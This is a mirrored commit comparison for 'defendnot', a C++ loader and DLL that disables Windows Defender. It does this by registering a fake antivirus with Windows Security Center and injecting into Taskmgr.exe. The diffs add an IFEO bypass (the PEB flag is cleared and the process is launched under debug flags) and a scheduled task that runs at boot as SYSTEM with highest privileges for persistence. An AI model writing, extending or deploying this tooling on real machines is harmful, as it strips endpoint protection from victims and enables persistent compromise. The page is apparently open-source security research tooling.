mirror of
https://github.com/es3n1n/defendnot.git
synced 2026-08-02 10:32:01 +00:00
Compare commits
16 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
55ac355ac6 | ||
|
|
8caf755016 | ||
|
|
34f69dff18 | ||
|
|
a2b1793378 | ||
|
|
02dffa91b8 | ||
|
|
7f0e9a6fd2 | ||
|
|
96d0cddf8c | ||
|
|
ad032ab0d5 | ||
|
|
782246d642 | ||
|
|
01351bd406 | ||
|
|
73a3633b4e | ||
|
|
33202c4c8f | ||
|
|
4c24a20988 | ||
|
|
4a67d48951 | ||
|
|
db4158da3b | ||
|
|
928be9a45f |
62
.github/workflows/build.yml
vendored
Normal file
62
.github/workflows/build.yml
vendored
Normal file
@@ -0,0 +1,62 @@
|
|||||||
|
name: Build Solution
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
workflow_dispatch:
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
build:
|
||||||
|
runs-on: windows-latest
|
||||||
|
strategy:
|
||||||
|
matrix:
|
||||||
|
platform: [x64, x86, ARM64]
|
||||||
|
configuration: [Release]
|
||||||
|
fail-fast: false
|
||||||
|
|
||||||
|
steps:
|
||||||
|
- name: Checkout repository
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
with:
|
||||||
|
submodules: 'recursive'
|
||||||
|
|
||||||
|
- name: Setup MSBuild
|
||||||
|
uses: microsoft/setup-msbuild@v2
|
||||||
|
|
||||||
|
- name: Map platform
|
||||||
|
id: platform-mapping
|
||||||
|
run: |
|
||||||
|
$platform = '${{ matrix.platform }}'
|
||||||
|
if ($platform -eq 'x86') {
|
||||||
|
$platform = 'Win32'
|
||||||
|
echo "mapped-platform=$platform" >> $env:GITHUB_OUTPUT
|
||||||
|
} else {
|
||||||
|
echo "mapped-platform=$platform" >> $env:GITHUB_OUTPUT
|
||||||
|
}
|
||||||
|
shell: pwsh
|
||||||
|
|
||||||
|
- name: Build Solution
|
||||||
|
run: |
|
||||||
|
msbuild.exe defendnot.sln /p:Configuration=${{ matrix.configuration }} /p:Platform=${{ matrix.platform }} -t:rebuild /m /verbosity:normal
|
||||||
|
|
||||||
|
- name: Copy artifacts
|
||||||
|
run: |
|
||||||
|
$platform = '${{ matrix.platform }}'
|
||||||
|
$mappedPlatform = '${{ steps.platform-mapping.outputs.mapped-platform }}'
|
||||||
|
$config = '${{ matrix.configuration }}'
|
||||||
|
|
||||||
|
New-Item -Path "artifacts\$platform" -ItemType Directory -Force
|
||||||
|
|
||||||
|
Get-ChildItem -Path "out\$mappedPlatform" | Select-Object Name
|
||||||
|
|
||||||
|
Copy-Item -Path ".\out\$mappedPlatform\defendnot.dll" -Destination ".\artifacts\$platform\" -Verbose
|
||||||
|
Copy-Item -Path ".\out\$mappedPlatform\defendnot.pdb" -Destination ".\artifacts\$platform\" -Verbose
|
||||||
|
Copy-Item -Path ".\out\$mappedPlatform\defendnot-loader.exe" -Destination ".\artifacts\$platform\" -Verbose
|
||||||
|
Copy-Item -Path ".\out\$mappedPlatform\defendnot-loader.pdb" -Destination ".\artifacts\$platform\" -Verbose
|
||||||
|
shell: pwsh
|
||||||
|
|
||||||
|
- name: Upload artifacts
|
||||||
|
uses: actions/upload-artifact@v4
|
||||||
|
with:
|
||||||
|
name: binaries-${{ matrix.platform }}
|
||||||
|
path: artifacts/${{ matrix.platform }}
|
||||||
|
retention-days: 7
|
||||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -23,6 +23,7 @@ mono_crash.*
|
|||||||
[Rr]eleases/
|
[Rr]eleases/
|
||||||
x64/
|
x64/
|
||||||
x86/
|
x86/
|
||||||
|
Win32/
|
||||||
[Aa][Rr][Mm]/
|
[Aa][Rr][Mm]/
|
||||||
[Aa][Rr][Mm]64/
|
[Aa][Rr][Mm]64/
|
||||||
bld/
|
bld/
|
||||||
|
|||||||
@@ -30,9 +30,9 @@ Optional arguments:
|
|||||||
-v, --verbose verbose logging
|
-v, --verbose verbose logging
|
||||||
```
|
```
|
||||||
|
|
||||||
## Implementation
|
## Writeup
|
||||||
|
|
||||||
A more detailed writeup will be coming in a few days.
|
[How I ruined my vacation by reverse engineering WSC](https://blog.es3n1n.eu/posts/how-i-ruined-my-vacation/)
|
||||||
|
|
||||||
## Special thanks
|
## Special thanks
|
||||||
|
|
||||||
|
|||||||
@@ -18,6 +18,7 @@
|
|||||||
<ClInclude Include="$(MSBuildThisFileDirectory)shared\defer.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)shared\defer.hpp" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)shared\ipc.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)shared\ipc.hpp" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)shared\names.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)shared\names.hpp" />
|
||||||
|
<ClInclude Include="$(MSBuildThisFileDirectory)shared\native.hpp" />
|
||||||
<ClInclude Include="$(MSBuildThisFileDirectory)shared\util.hpp" />
|
<ClInclude Include="$(MSBuildThisFileDirectory)shared\util.hpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -7,4 +7,6 @@ namespace names {
|
|||||||
|
|
||||||
constexpr std::string_view kVictimProcess = "Taskmgr.exe";
|
constexpr std::string_view kVictimProcess = "Taskmgr.exe";
|
||||||
constexpr std::string_view kDllName = "defendnot.dll";
|
constexpr std::string_view kDllName = "defendnot.dll";
|
||||||
|
|
||||||
|
constexpr std::string_view kVersion = "1.1.0";
|
||||||
} // namespace names
|
} // namespace names
|
||||||
|
|||||||
51
cxx-shared/shared/native.hpp
Normal file
51
cxx-shared/shared/native.hpp
Normal file
@@ -0,0 +1,51 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <format>
|
||||||
|
#include <stdexcept>
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
#pragma pack(push, 1)
|
||||||
|
namespace native {
|
||||||
|
class PEB {
|
||||||
|
public:
|
||||||
|
std::uint8_t inherited_address_space;
|
||||||
|
std::uint8_t read_image_file_exec_options;
|
||||||
|
/// - we don't need other fields
|
||||||
|
};
|
||||||
|
|
||||||
|
static_assert(offsetof(PEB, read_image_file_exec_options) == 1);
|
||||||
|
|
||||||
|
template <typename Ty>
|
||||||
|
inline Ty get_system_routine(const std::string_view module_name, const std::string_view function_name) {
|
||||||
|
const auto mod = GetModuleHandleA(module_name.data());
|
||||||
|
if (mod == nullptr) {
|
||||||
|
throw std::runtime_error(std::format("unable to find module {}", module_name));
|
||||||
|
}
|
||||||
|
|
||||||
|
auto function = reinterpret_cast<Ty>(GetProcAddress(mod, function_name.data()));
|
||||||
|
if (function == nullptr) {
|
||||||
|
throw std::runtime_error(std::format("unable to obtain {} from {}", module_name, function_name));
|
||||||
|
}
|
||||||
|
return function;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline PEB* get_peb() {
|
||||||
|
static auto function = get_system_routine<PEB*(__stdcall*)()>("ntdll.dll", "RtlGetCurrentPeb");
|
||||||
|
static auto result = function();
|
||||||
|
if (result == nullptr) [[unlikely]] {
|
||||||
|
throw std::runtime_error("no peb");
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline bool debug_set_process_kill_on_exit(const bool value) {
|
||||||
|
static auto function = get_system_routine<BOOL(__stdcall*)(BOOL)>("kernel32.dll", "DebugSetProcessKillOnExit");
|
||||||
|
return static_cast<bool>(function(static_cast<BOOL>(value)));
|
||||||
|
}
|
||||||
|
|
||||||
|
inline bool debug_active_process_stop(const std::uint32_t process_id) {
|
||||||
|
static auto function = get_system_routine<BOOL(__stdcall*)(DWORD)>("kernel32.dll", "DebugActiveProcessStop");
|
||||||
|
return static_cast<bool>(function(process_id));
|
||||||
|
}
|
||||||
|
} // namespace native
|
||||||
|
#pragma pack(pop)
|
||||||
@@ -1,11 +1,12 @@
|
|||||||
#include "core/core.hpp"
|
#include "core/core.hpp"
|
||||||
|
|
||||||
#include "shared/ctx.hpp"
|
#include "shared/ctx.hpp"
|
||||||
#include "shared/defer.hpp"
|
|
||||||
#include "shared/names.hpp"
|
#include "shared/names.hpp"
|
||||||
|
|
||||||
|
#include <memory>
|
||||||
#include <print>
|
#include <print>
|
||||||
#include <stdexcept>
|
#include <stdexcept>
|
||||||
|
#include <type_traits>
|
||||||
|
|
||||||
#include <comdef.h>
|
#include <comdef.h>
|
||||||
#include <taskschd.h>
|
#include <taskschd.h>
|
||||||
@@ -18,155 +19,165 @@ namespace loader {
|
|||||||
namespace {
|
namespace {
|
||||||
constexpr std::string_view kTaskName = names::kProjectName;
|
constexpr std::string_view kTaskName = names::kProjectName;
|
||||||
|
|
||||||
|
/// A very basic implementation, a lot of stuff is missing
|
||||||
|
template <typename Ty>
|
||||||
|
class ComPtr {
|
||||||
|
public:
|
||||||
|
ComPtr() = default;
|
||||||
|
explicit ComPtr(Ty* ptr): ptr_(ptr) { }
|
||||||
|
|
||||||
|
~ComPtr() {
|
||||||
|
if (ptr_ != nullptr) {
|
||||||
|
ptr_->Release();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ComPtr(const ComPtr&) = delete;
|
||||||
|
ComPtr& operator=(const ComPtr&) = delete;
|
||||||
|
|
||||||
|
[[nodiscard]] Ty* get() const {
|
||||||
|
return ptr_;
|
||||||
|
}
|
||||||
|
|
||||||
|
[[nodiscard]] Ty* operator->() const {
|
||||||
|
return ptr_;
|
||||||
|
}
|
||||||
|
|
||||||
|
[[nodiscard]] Ty** ref_to_ptr() {
|
||||||
|
return &ptr_;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
Ty* ptr_ = nullptr;
|
||||||
|
};
|
||||||
|
|
||||||
|
void co_initialize() {
|
||||||
|
static std::once_flag fl;
|
||||||
|
std::call_once(fl, []() -> void {
|
||||||
|
const auto result = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
|
||||||
|
|
||||||
|
if (FAILED(result)) {
|
||||||
|
throw std::runtime_error("failed to CoInitializeEx");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
template <typename Callable>
|
template <typename Callable>
|
||||||
[[nodiscard]] bool with_service(Callable&& callback) {
|
[[nodiscard]] bool with_service(Callable&& callback) {
|
||||||
HRESULT hr = CoInitializeEx(nullptr, COINIT_MULTITHREADED);
|
co_initialize();
|
||||||
|
|
||||||
|
ComPtr<ITaskService> service;
|
||||||
|
auto hr =
|
||||||
|
CoCreateInstance(CLSID_TaskScheduler, nullptr, CLSCTX_INPROC_SERVER, IID_ITaskService, reinterpret_cast<void**>(service.ref_to_ptr()));
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
|
||||||
CoUninitialize();
|
|
||||||
};
|
|
||||||
|
|
||||||
ITaskService* service = nullptr;
|
|
||||||
hr = CoCreateInstance(CLSID_TaskScheduler, nullptr, CLSCTX_INPROC_SERVER, IID_ITaskService, reinterpret_cast<void**>(&service));
|
|
||||||
if (FAILED(hr)) {
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
defer->void {
|
|
||||||
service->Release();
|
|
||||||
};
|
|
||||||
|
|
||||||
hr = service->Connect(VARIANT{}, VARIANT{}, VARIANT{}, VARIANT{});
|
hr = service->Connect(VARIANT{}, VARIANT{}, VARIANT{}, VARIANT{});
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
ITaskFolder* root_folder = nullptr;
|
ComPtr<ITaskFolder> root_folder;
|
||||||
hr = service->GetFolder(BSTR(L"\\"), &root_folder);
|
hr = service->GetFolder(BSTR(L"\\"), root_folder.ref_to_ptr());
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
/// Cleanup our task, we will recreate it in the callback if needed
|
||||||
root_folder->Release();
|
|
||||||
};
|
|
||||||
|
|
||||||
root_folder->DeleteTask(BSTR(kTaskName.data()), 0);
|
root_folder->DeleteTask(BSTR(kTaskName.data()), 0);
|
||||||
return callback(service, root_folder);
|
return callback(service.get(), root_folder.get());
|
||||||
}
|
}
|
||||||
} // namespace
|
} // namespace
|
||||||
|
|
||||||
[[nodiscard]] bool add_to_autorun() {
|
[[nodiscard]] bool add_to_autorun(AutorunType type) {
|
||||||
const auto bin_path = shared::get_this_module_path();
|
const auto bin_path = shared::get_this_module_path();
|
||||||
|
|
||||||
return with_service([bin_path](ITaskService* service, ITaskFolder* folder) -> bool {
|
return with_service([bin_path, type](ITaskService* service, ITaskFolder* folder) -> bool {
|
||||||
ITaskDefinition* task = nullptr;
|
/// Deduce the autorun config based on type
|
||||||
auto hr = service->NewTask(0, &task);
|
const auto task_trigger = type == AutorunType::AS_SYSTEM_ON_BOOT ? TASK_TRIGGER_BOOT : TASK_TRIGGER_LOGON;
|
||||||
|
const auto logon_type = type == AutorunType::AS_SYSTEM_ON_BOOT ? TASK_LOGON_SERVICE_ACCOUNT : TASK_LOGON_INTERACTIVE_TOKEN;
|
||||||
|
|
||||||
|
BSTR user_id = nullptr;
|
||||||
|
auto bstr_sys = bstr_t(L"SYSTEM");
|
||||||
|
if (type == AutorunType::AS_SYSTEM_ON_BOOT) {
|
||||||
|
user_id = bstr_sys;
|
||||||
|
}
|
||||||
|
|
||||||
|
ComPtr<ITaskDefinition> task;
|
||||||
|
auto hr = service->NewTask(0, task.ref_to_ptr());
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<IRegistrationInfo> reg_info;
|
||||||
task->Release();
|
hr = task->get_RegistrationInfo(reg_info.ref_to_ptr());
|
||||||
};
|
|
||||||
|
|
||||||
IRegistrationInfo* reg_info = nullptr;
|
|
||||||
hr = task->get_RegistrationInfo(®_info);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<IPrincipal> principal;
|
||||||
reg_info->Release();
|
hr = task->get_Principal(principal.ref_to_ptr());
|
||||||
};
|
|
||||||
reg_info->put_Author(_bstr_t(names::kRepoUrl.data()));
|
|
||||||
|
|
||||||
IPrincipal* pPrincipal = nullptr;
|
|
||||||
hr = task->get_Principal(&pPrincipal);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<ITriggerCollection> trigger_collection;
|
||||||
pPrincipal->Release();
|
hr = task->get_Triggers(trigger_collection.ref_to_ptr());
|
||||||
};
|
|
||||||
|
|
||||||
ITriggerCollection* trigger_collection = nullptr;
|
|
||||||
hr = task->get_Triggers(&trigger_collection);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<ITrigger> trigger;
|
||||||
trigger_collection->Release();
|
hr = trigger_collection->Create(task_trigger, trigger.ref_to_ptr());
|
||||||
};
|
|
||||||
|
|
||||||
ITrigger* trigger = nullptr;
|
|
||||||
hr = trigger_collection->Create(TASK_TRIGGER_LOGON, &trigger);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<IActionCollection> action_collection;
|
||||||
trigger->Release();
|
hr = task->get_Actions(action_collection.ref_to_ptr());
|
||||||
};
|
|
||||||
|
|
||||||
IActionCollection* action_collection = nullptr;
|
|
||||||
hr = task->get_Actions(&action_collection);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<IAction> action;
|
||||||
action_collection->Release();
|
hr = action_collection->Create(TASK_ACTION_EXEC, action.ref_to_ptr());
|
||||||
};
|
|
||||||
|
|
||||||
IAction* action = nullptr;
|
|
||||||
hr = action_collection->Create(TASK_ACTION_EXEC, &action);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<IExecAction> exec_action;
|
||||||
action->Release();
|
hr = action->QueryInterface(IID_IExecAction, reinterpret_cast<void**>(exec_action.ref_to_ptr()));
|
||||||
};
|
|
||||||
|
|
||||||
IExecAction* exec_action = nullptr;
|
|
||||||
hr = action->QueryInterface(IID_IExecAction, (void**)&exec_action);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
ComPtr<ITaskSettings> settings;
|
||||||
exec_action->Release();
|
hr = task->get_Settings(settings.ref_to_ptr());
|
||||||
};
|
|
||||||
|
|
||||||
ITaskSettings* settings = nullptr;
|
|
||||||
hr = task->get_Settings(&settings);
|
|
||||||
if (FAILED(hr)) {
|
if (FAILED(hr)) {
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
defer->void {
|
/// Elevated, when system boots
|
||||||
settings->Release();
|
principal->put_UserId(user_id);
|
||||||
};
|
principal->put_LogonType(logon_type);
|
||||||
|
principal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
|
||||||
|
|
||||||
pPrincipal->put_RunLevel(TASK_RUNLEVEL_HIGHEST);
|
/// Info
|
||||||
|
reg_info->put_Author(bstr_t(names::kRepoUrl.data()));
|
||||||
|
|
||||||
|
/// Start even if we're on batteries
|
||||||
settings->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
|
settings->put_DisallowStartIfOnBatteries(VARIANT_FALSE);
|
||||||
settings->put_StopIfGoingOnBatteries(VARIANT_FALSE);
|
settings->put_StopIfGoingOnBatteries(VARIANT_FALSE);
|
||||||
exec_action->put_Path(_bstr_t(bin_path.string().c_str()));
|
|
||||||
exec_action->put_Arguments(_bstr_t("--from-autorun"));
|
|
||||||
|
|
||||||
IRegisteredTask* registered_task = nullptr;
|
/// Binary
|
||||||
hr = folder->RegisterTaskDefinition(_bstr_t(kTaskName.data()), task, TASK_CREATE_OR_UPDATE, VARIANT{}, VARIANT{}, TASK_LOGON_INTERACTIVE_TOKEN,
|
exec_action->put_Path(bstr_t(bin_path.string().c_str()));
|
||||||
_variant_t(L""), ®istered_task);
|
exec_action->put_Arguments(bstr_t("--from-autorun"));
|
||||||
|
|
||||||
defer->void {
|
/// Register the task and we are done
|
||||||
registered_task->Release();
|
ComPtr<IRegisteredTask> registered_task;
|
||||||
};
|
hr = folder->RegisterTaskDefinition(bstr_t(kTaskName.data()), task.get(), TASK_CREATE_OR_UPDATE, VARIANT{}, VARIANT{}, TASK_LOGON_NONE,
|
||||||
|
variant_t(L""), registered_task.ref_to_ptr());
|
||||||
return SUCCEEDED(hr);
|
return SUCCEEDED(hr);
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,15 +5,22 @@
|
|||||||
#include <Windows.h>
|
#include <Windows.h>
|
||||||
|
|
||||||
namespace loader {
|
namespace loader {
|
||||||
|
enum class AutorunType : std::uint8_t {
|
||||||
|
AS_SYSTEM_ON_BOOT = 0, ///< launch on system boot as NT AUTHORITY\SYSTEM
|
||||||
|
AS_CURRENT_USER_ON_LOGIN = 1, ///< launch on user login
|
||||||
|
};
|
||||||
|
|
||||||
struct Config {
|
struct Config {
|
||||||
public:
|
public:
|
||||||
std::string name;
|
std::string name;
|
||||||
bool disable;
|
bool disable;
|
||||||
bool verbose;
|
bool verbose;
|
||||||
bool from_autorun;
|
bool from_autorun;
|
||||||
|
AutorunType autorun_type;
|
||||||
|
bool enable_autorun;
|
||||||
};
|
};
|
||||||
|
|
||||||
[[nodiscard]] HANDLE inject(std::string_view dll_path, std::string_view proc_name);
|
[[nodiscard]] HANDLE inject(std::string_view dll_path, std::string_view proc_name);
|
||||||
[[nodiscard]] bool add_to_autorun();
|
[[nodiscard]] bool add_to_autorun(AutorunType type);
|
||||||
[[nodiscard]] bool remove_from_autorun();
|
[[nodiscard]] bool remove_from_autorun();
|
||||||
} // namespace loader
|
} // namespace loader
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
#include "core/core.hpp"
|
#include "core/core.hpp"
|
||||||
|
|
||||||
#include "shared/defer.hpp"
|
#include "shared/defer.hpp"
|
||||||
|
#include "shared/native.hpp"
|
||||||
|
|
||||||
#include <print>
|
#include <print>
|
||||||
#include <stdexcept>
|
#include <stdexcept>
|
||||||
|
|
||||||
@@ -19,11 +21,20 @@ namespace loader {
|
|||||||
.bInheritHandle = TRUE,
|
.bInheritHandle = TRUE,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/// By setting ReadImageFileExecOptions to FALSE and attaching ourselves as a debugger we can skip the IFEO
|
||||||
|
/// \xref: https://github.com/es3n1n/defendnot/issues/7#issuecomment-2874903650
|
||||||
|
native::get_peb()->read_image_file_exec_options = 0;
|
||||||
|
|
||||||
std::println("** booting {}", proc_name);
|
std::println("** booting {}", proc_name);
|
||||||
if (!CreateProcessA(nullptr, const_cast<char*>(proc_name.data()), &sa, &sa, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) {
|
const auto process_flags = CREATE_SUSPENDED | DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS;
|
||||||
|
if (!CreateProcessA(nullptr, const_cast<char*>(proc_name.data()), &sa, &sa, FALSE, process_flags, nullptr, nullptr, &si, &pi)) {
|
||||||
throw std::runtime_error(std::format("unable to create process: {}", GetLastError()));
|
throw std::runtime_error(std::format("unable to create process: {}", GetLastError()));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Detach
|
||||||
|
native::debug_set_process_kill_on_exit(false);
|
||||||
|
native::debug_active_process_stop(pi.dwProcessId);
|
||||||
|
|
||||||
defer->void {
|
defer->void {
|
||||||
CloseHandle(pi.hThread);
|
CloseHandle(pi.hThread);
|
||||||
/// Not closing hProcess because we return it
|
/// Not closing hProcess because we return it
|
||||||
|
|||||||
@@ -56,8 +56,8 @@ namespace {
|
|||||||
}
|
}
|
||||||
|
|
||||||
void process_autorun(const loader::Config& config) {
|
void process_autorun(const loader::Config& config) {
|
||||||
if (shared::ctx.state == shared::State::ON) {
|
if (shared::ctx.state == shared::State::ON && config.enable_autorun) {
|
||||||
std::println("** added to autorun: {}", loader::add_to_autorun());
|
std::println("** added to autorun: {}", loader::add_to_autorun(config.autorun_type));
|
||||||
} else {
|
} else {
|
||||||
std::println("** removed from autorun: {}", loader::remove_from_autorun());
|
std::println("** removed from autorun: {}", loader::remove_from_autorun());
|
||||||
}
|
}
|
||||||
@@ -75,19 +75,42 @@ namespace {
|
|||||||
} // namespace
|
} // namespace
|
||||||
|
|
||||||
int main(int argc, char* argv[]) try {
|
int main(int argc, char* argv[]) try {
|
||||||
argparse::ArgumentParser program(std::format("{}-loader", names::kProjectName), "1.0.0");
|
argparse::ArgumentParser program(std::format("{}-loader", names::kProjectName), names::kVersion.data(), argparse::default_arguments::none);
|
||||||
|
|
||||||
|
const auto fatal_print = [](const std::string_view str) -> void {
|
||||||
|
shared::alloc_console();
|
||||||
|
std::cerr << str << std::endl;
|
||||||
|
system("pause");
|
||||||
|
std::exit(EXIT_FAILURE);
|
||||||
|
};
|
||||||
|
|
||||||
|
/// We are registering these ourselves because we have to alloc console first
|
||||||
|
program.add_argument("-h", "--help")
|
||||||
|
.help("prints help message and exits")
|
||||||
|
.default_value(false)
|
||||||
|
.implicit_value(true)
|
||||||
|
.action([&fatal_print, &program](const auto& /*unused*/) -> void { fatal_print(program.help().str()); });
|
||||||
|
program.add_argument("--version")
|
||||||
|
.help("shows version and exits")
|
||||||
|
.default_value(false)
|
||||||
|
.implicit_value(true)
|
||||||
|
.action([&fatal_print](const auto& /*unused*/) -> void { fatal_print(std::format("{}-loader v{}", names::kProjectName, names::kVersion)); });
|
||||||
|
|
||||||
|
/// defendnot-loader parameters:
|
||||||
program.add_argument("-n", "--name").help("av display name").default_value(std::string(names::kRepoUrl)).nargs(1);
|
program.add_argument("-n", "--name").help("av display name").default_value(std::string(names::kRepoUrl)).nargs(1);
|
||||||
program.add_argument("-d", "--disable").help(std::format("disable {}", names::kProjectName)).default_value(false).implicit_value(true);
|
program.add_argument("-d", "--disable").help(std::format("disable {}", names::kProjectName)).default_value(false).implicit_value(true);
|
||||||
program.add_argument("-v", "--verbose").help("verbose logging").default_value(false).implicit_value(true);
|
program.add_argument("-v", "--verbose").help("verbose logging").default_value(false).implicit_value(true);
|
||||||
|
program.add_argument("--autorun-as-user").help("create autorun task as currently logged in user").default_value(false).implicit_value(true);
|
||||||
|
program.add_argument("--disable-autorun").help("disable autorun task creation").default_value(false).implicit_value(true);
|
||||||
program.add_argument("--from-autorun").hidden().default_value(false).implicit_value(true);
|
program.add_argument("--from-autorun").hidden().default_value(false).implicit_value(true);
|
||||||
|
|
||||||
try {
|
try {
|
||||||
program.parse_args(argc, argv);
|
program.parse_args(argc, argv);
|
||||||
} catch (...) {
|
} catch (std::exception& e) {
|
||||||
shared::alloc_console();
|
std::stringstream ss;
|
||||||
std::cerr << program;
|
ss << e.what() << '\n';
|
||||||
system("pause");
|
ss << program.help().str();
|
||||||
|
fatal_print(ss.str());
|
||||||
return EXIT_FAILURE;
|
return EXIT_FAILURE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -96,6 +119,10 @@ int main(int argc, char* argv[]) try {
|
|||||||
.disable = program.get<bool>("-d"),
|
.disable = program.get<bool>("-d"),
|
||||||
.verbose = program.get<bool>("-v"),
|
.verbose = program.get<bool>("-v"),
|
||||||
.from_autorun = program.get<bool>("--from-autorun"),
|
.from_autorun = program.get<bool>("--from-autorun"),
|
||||||
|
.autorun_type = program.get<bool>("--autorun-as-user") ? /// As system on boot is the default value
|
||||||
|
loader::AutorunType::AS_CURRENT_USER_ON_LOGIN :
|
||||||
|
loader::AutorunType::AS_SYSTEM_ON_BOOT,
|
||||||
|
.enable_autorun = !program.get<bool>("--disable-autorun"),
|
||||||
};
|
};
|
||||||
|
|
||||||
setup_window(config);
|
setup_window(config);
|
||||||
|
|||||||
@@ -16,7 +16,7 @@ namespace defendnot {
|
|||||||
auto inst = IWscAVStatus::get();
|
auto inst = IWscAVStatus::get();
|
||||||
|
|
||||||
/// This can fail if we dont have any avs registered so no com_checked
|
/// This can fail if we dont have any avs registered so no com_checked
|
||||||
logln("unregister: {:#x}", com_retry_while_pending([&inst]() -> HRESULT { return inst->Unregister(); }));
|
logln("unregister: {:#x}", com_retry_while_pending([&inst]() -> HRESULT { return inst->Unregister(); }) & 0xFFFFFFFF);
|
||||||
if (shared::ctx.state == shared::State::OFF) {
|
if (shared::ctx.state == shared::State::OFF) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -34,7 +34,7 @@ namespace defendnot {
|
|||||||
};
|
};
|
||||||
|
|
||||||
/// Register and activate our AV
|
/// Register and activate our AV
|
||||||
logln("register: {:#x}", com_checked(inst->Register(name, name)));
|
logln("register: {:#x}", com_checked(inst->Register(name, name, 0, 0)));
|
||||||
logln("update: {:#x}", com_checked(inst->UpdateStatus(WSCSecurityProductState::ON, 3)));
|
logln("update: {:#x}", com_checked(inst->UpdateStatus(WSCSecurityProductState::ON, 3)));
|
||||||
}
|
}
|
||||||
} // namespace defendnot
|
} // namespace defendnot
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
|
|
||||||
namespace defendnot {
|
namespace defendnot {
|
||||||
namespace detail {
|
namespace detail {
|
||||||
inline GUID RCLSID = {0x0F2102C37, 0x90C3, 0x450C, {0x0B3, 0x0F6, 0x92, 0x0BE, 0x16, 0x93, 0x0BD, 0x0F2}};
|
inline GUID CLSID_IWscAVStatus = {0x0F2102C37, 0x90C3, 0x450C, {0x0B3, 0x0F6, 0x92, 0x0BE, 0x16, 0x93, 0x0BD, 0x0F2}};
|
||||||
inline GUID IID_IWscAVStatus = {0x3901A765, 0x0AB91, 0x4BA9, {0xA5, 0x53, 0x5B, 0x85, 0x38, 0xDE, 0xB8, 0x40}};
|
inline GUID IID_IWscAVStatus = {0x3901A765, 0x0AB91, 0x4BA9, {0xA5, 0x53, 0x5B, 0x85, 0x38, 0xDE, 0xB8, 0x40}};
|
||||||
} // namespace detail
|
} // namespace detail
|
||||||
|
|
||||||
@@ -21,6 +21,13 @@ namespace defendnot {
|
|||||||
EXPIRED = 3
|
EXPIRED = 3
|
||||||
};
|
};
|
||||||
|
|
||||||
|
enum class WSCSecurityProductSubStatus : std::uint32_t {
|
||||||
|
NOT_SET = 0,
|
||||||
|
NO_ACTION = 1,
|
||||||
|
ACTION_RECOMMENDED = 2,
|
||||||
|
ACTION_NEEDED = 3
|
||||||
|
};
|
||||||
|
|
||||||
inline HRESULT com_checked(HRESULT result, const std::source_location loc = std::source_location::current()) {
|
inline HRESULT com_checked(HRESULT result, const std::source_location loc = std::source_location::current()) {
|
||||||
if (result == 0) {
|
if (result == 0) {
|
||||||
return result;
|
return result;
|
||||||
@@ -53,20 +60,39 @@ namespace defendnot {
|
|||||||
}
|
}
|
||||||
|
|
||||||
class IWscAVStatus {
|
class IWscAVStatus {
|
